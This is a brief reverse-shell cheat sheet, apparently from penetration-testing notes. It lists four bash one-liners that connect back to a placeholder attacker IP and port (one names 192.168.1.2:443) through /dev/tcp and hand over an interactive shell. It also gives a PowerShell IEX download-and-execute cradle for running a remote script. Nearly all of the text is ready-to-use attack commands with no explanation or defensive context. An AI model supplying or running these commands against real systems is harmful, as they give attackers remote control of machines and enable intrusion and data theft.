Bash - Reverse

bash -i >\& /dev/tcp/attackerip/port 0>\&1
0<\&196;exec 196<>/dev/tcp/attackerip/port; sh <\&196 >\&196 2>\&196
bash -c 'bash -i >\& /dev/tcp/attackerip/port 0>\&1'
exec 5<>/dev/tcp/192.168.1.2/443;cat <\&5 | while read line; do $line 2>\&5 >\&5; done

Powershell

Reverse (Specifically for PowerShell scripts, serve on http)

IEX(New-Object System.Net.WebClient).DownloadString('PAYLOAD')

Sources